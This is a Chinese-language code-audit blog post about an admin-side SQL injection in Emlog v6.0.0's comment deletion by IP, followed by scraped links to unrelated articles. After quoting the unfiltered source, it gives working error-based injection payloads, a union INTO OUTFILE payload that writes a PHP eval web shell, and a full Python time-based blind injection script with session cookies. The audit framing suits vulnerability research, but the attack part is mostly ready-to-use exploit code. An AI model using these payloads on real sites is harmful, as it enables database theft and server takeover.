Emlog V6.0.0代码审计笔记
前言
emlog是一套基于PHP和MySQL的博客及CMS建站系统。
emlog v6.0.0存在后台SQL注入漏洞。
分析
官网下载emlog最新版v6.0.0,本地搭建。
前台功能不多,参数基本都做了防注入处理:
问题出在后台,评论处理文件./admin/comment.php
:
if ($action== 'delbyip') {
LoginAuth::checkToken(); //验证token
if (ROLE != ROLE_ADMIN) {
emMsg('权限不足!', './');
}
$ip = isset($_GET['ip']) ? $_GET['ip'] : ''; //通过GET接收ip
$Comment_Model->delCommentByIp($ip);
$CACHE->updateCache(array('sta','comment'));
emDirect("./comment.php?active_del=1");
}
这里通过GET接收ip
参数,传入delCommentByip
函数,追踪delCommentByip
函数,在./include/model/comment_model.php
中定义,看下代码:
function delCommentByIp($ip) {
$blogids = array();
$sql = "SELECT DISTINCT gid FROM ".DB_PREFIX."comment WHERE ip='$ip'"; //直接将ip传入$sql
$query = $this->db->query($sql);
while ($row = $this->db->fetch_array($query)) {
$blogids[] = $row['gid'];
}
$this->db->query("DELETE FROM ".DB_PREFIX."comment WHERE ip='$ip'"); //这里同理
$this->updateCommentNum($blogids);
}
函数中未对$ip
进行过滤,直接代入sql语句执行,导致SQL注入。
我们简单构造下请求,代码中会先验证token,在cookie中可以查看,复制出来通过GET传入:
http://localhost/admin/comment.php?action=delbyip&token=d07b467cd6493e6f924f4ddbf6aba150&ip='
由于$sql
先进行了SELECT
操作,后又进行DELETE
,联合查询+报错的方式页面无法成功回显,亦不能使用注入工具类似SQLMAP等,工具测试过程中会删除数据。这里我们可以使用报错注入或时间延时盲注。
利用报错注入查表:
' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 0,1),0x7e),1) and '1'='1
查列:
' and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name='emlog_user' limit 2,1),0x7e),1) and '1'='1
查当前用户:
' and updatexml(1,concat(0x7e,user(),0x7e),1) and '1'='1
写shell(前提:1.dba权限 2.已知网站可写目录的绝对路径),利用联合查询:
' and 1=2 union select '<?php @eval($_POST[1]);' into outfile "(网站绝对路径)/1.php"%23
亦可使用时间延时盲注,脚本如下:
#coding=utf-8
import requests
import time
result = ""
headers = {
"Cookie": "PHPSESSID=op0fmep23gra8bfeajr64v5po3; EM_AUTHCOOKIE_lVwEgJcMNv2S7HzAwFEiEDvFWo12m3jJ=admin%7C%7C1af8be96c6e5850303168025f926a143; EM_TOKENCOOKIE_e92c117245b703a28199df6d64d62170=d07b467cd6493e6f924f4ddbf6aba150",
}
for i in range (1,30):
for j in range(47,122):#暂考虑数字字母,没考虑其他字符
payload = "' and (select*from(select(if(ascii(mid((select table_name from information_schema.tables where table_schema=database() limit 1,1),%d,1))=%d,sleep(2),0)))a) and '1'='1" % (i, j)
url = "http://localhost/admin/comment.php?action=delbyip&token=d07b467cd6493e6f924f4ddbf6aba150&ip="+payload+""
stime = time.time()
name = requests.post(url, headers=headers)
if time.time()-stime >= 2:
result += chr(j)
print(result)
break
print('[+]result:'+result)
最后
食之无味,弃之可惜。
Emlog V6.0.0代码审计笔记的更多相关文章
- CentOS 6.6 升级GCC G++ (当前最新版本为v6.1.0) (完整)
---恢复内容开始--- CentOS 6.6 升级GCC G++ (当前最新GCC/G++版本为v6.1.0) 没有便捷方式, yum update.... yum install 或者 添加y ...
- cocos2d-x 3.0游戏实例学习笔记 《跑酷》 完结篇--源代码放送
说明:这里是借鉴:晓风残月前辈的博客,他是将泰然网的跑酷教程,用cocos2d-x 2.X 版本号重写的,眼下我正在学习cocos2d-X3.0 于是就用cocos2d-X 3.0重写,并做相关笔记 ...
- cocos2d-x 3.0游戏实例学习笔记《卡牌塔防》第七步---英雄要升级&属性--解析csv配置文件
/* 说明: **1.本次游戏实例是<cocos2d-x游戏开发之旅>上的最后一个游戏,这里用3.0重写并做下笔记 **2.我也问过木头本人啦.他说:随便写,第一别全然照搬代码:第二能够说 ...
- cocos2d-x 3.0游戏实例学习笔记《卡牌塔防》第八部---怪物出场
/* 说明: **1.本次游戏实例是<cocos2d-x游戏开发之旅>上的最后一个游戏,这里用3.0重写并做下笔记 **2.我也问过木头本人啦,他说:随便写.第一别全然照搬代码.第二能够说 ...
- cocos2d-x 3.0游戏实例学习笔记《卡牌塔防》第二步---编辑器(1)--触摸加入点
/* 说明: **1.本次游戏实例是<cocos2d-x游戏开发之旅>上的最后一个游戏,这里用3.0重写并做下笔记 **2.我也问过木头本人啦,他说:随便写,第一别全然照搬代码:第二能够说 ...
- cocos2d-x 3.0游戏实例学习笔记《卡牌塔防》第六步---炮台&点击炮台加入英雄&英雄升级
/* 说明: **1.本次游戏实例是<cocos2d-x游戏开发之旅>上的最后一个游戏,这里用3.0重写并做下笔记 **2.我也问过木头本人啦,他说:随便写,第一别全然照搬代码:第二能够说 ...
- auxblogcms1.0.6|代码审计
这周的审计任务,两天前的任务呀~拖延症呀~ 这次审计一个博客----auxblogcms1.0.6,网上也有所记载,我下面会做个总结. axublog是一款php个人博客系统,小巧强大的PHP+MyS ...
- 某pdf转word v6.3.0.2算法分析
某pdf转word v6.3.0.2算法分析 [文章标题]某pdf转word v6.3.0.2算法分析 [文章作者]jieliuhouzi[原版下载]www.pdfcword.cn [保护方式]序列号 ...
- Ext Js v6.2.0.103 Sencha Cmd 命令
Sencha Cmd v6.2.0.103 Sencha Cmd 提供几种全局开关命令. 在大多数案例中, 第一步是在Sencha SDK基础上创建应用 例如 Ext JS 或 Sencha Touc ...
随机推荐
- log4j配置相对路径实现日志记录
从网上简单搜索了一下,发现有三种介绍的方法.总结在这里1. 解决的办法自然是想办法用相对路径代替绝对路径,其实log4j的FileAppender本身就有这样的机制,如: log4j.appender ...
- Laravel + Swoole 打造IM简易聊天室
最近在学习Swoole,利用Swoole扩展让PHP生动了不少,本篇就来Swoole开发一款简易的IM聊天室 应用场景:实现简单的即时消息聊天室. (一)扩展安装 pecl install swool ...
- php漏洞 md5函数漏洞
0x01: 背景:php在处理哈希值时,用!=和==来比较的时候,如果哈希字符串以0E开头的时候,哈希值会默认为0,所以两个不同的字符串经过md5加密成哈希值,如果哈希值开头是0E的话,会默认成相等. ...
- asp.net 读取 connectionStrings
connectionStrings 在vs.net 2005 beta 2开始,如果你在web.config中使用了数据库连接字符串的配置,那么应该按如下的方法去写: <connectionSt ...
- Echarts快速入门---------v客学院技术分享
ECharts,一个使用 JavaScript 实现的开源可视化库,可以流畅的运行在 PC 和移动设备上,兼容当前绝大部分浏览器(IE8/9/10/11,Chrome,Firefox,Safari等) ...
- Pytorch系列:(七)模型初始化
为什么要进行初始化 首先假设有一个两层全连接网络,第一层的第一个节点值为 \(H_{11}= \sum_{i=0}^n X_i*W_{1i}\), 这个时候,方差为 \(D(H_{11}) = \su ...
- NestJS WebSocket 开始使用
使用NestJs提供WebSocket服务. 本文会在新建项目的基础上增加2个类 Gateway 实现业务逻辑的地方 WebSocketAdapter WebSocket适配器 新建项目 新建一个项目 ...
- 【对线面试官】CountDownLatch和CyclicBarrier的区别
<对线面试官>系列目前已经连载31篇啦,这是一个讲人话面试系列 [对线面试官]Java注解 [对线面试官]Java泛型 [对线面试官] Java NIO [对线面试官]Java反射 &am ...
- Cesium产品体系
Cesium是国外Analytical Graphics, Inc.公司开发的一款基于JavaScript 的使用WebGL的地图引擎.Cesium支持3D,2D,2.5D形式的地图展示,可以自行绘制 ...
- Docker隔离技术
前言 Docker系列文章: 此篇是Docker系列的第九篇,之前的文章里面或多或少的提到Docker的隔离技术,但是没有很清楚的去聊这个技术,但是经过这么多文章大家一定对Docker使用和概念有了一 ...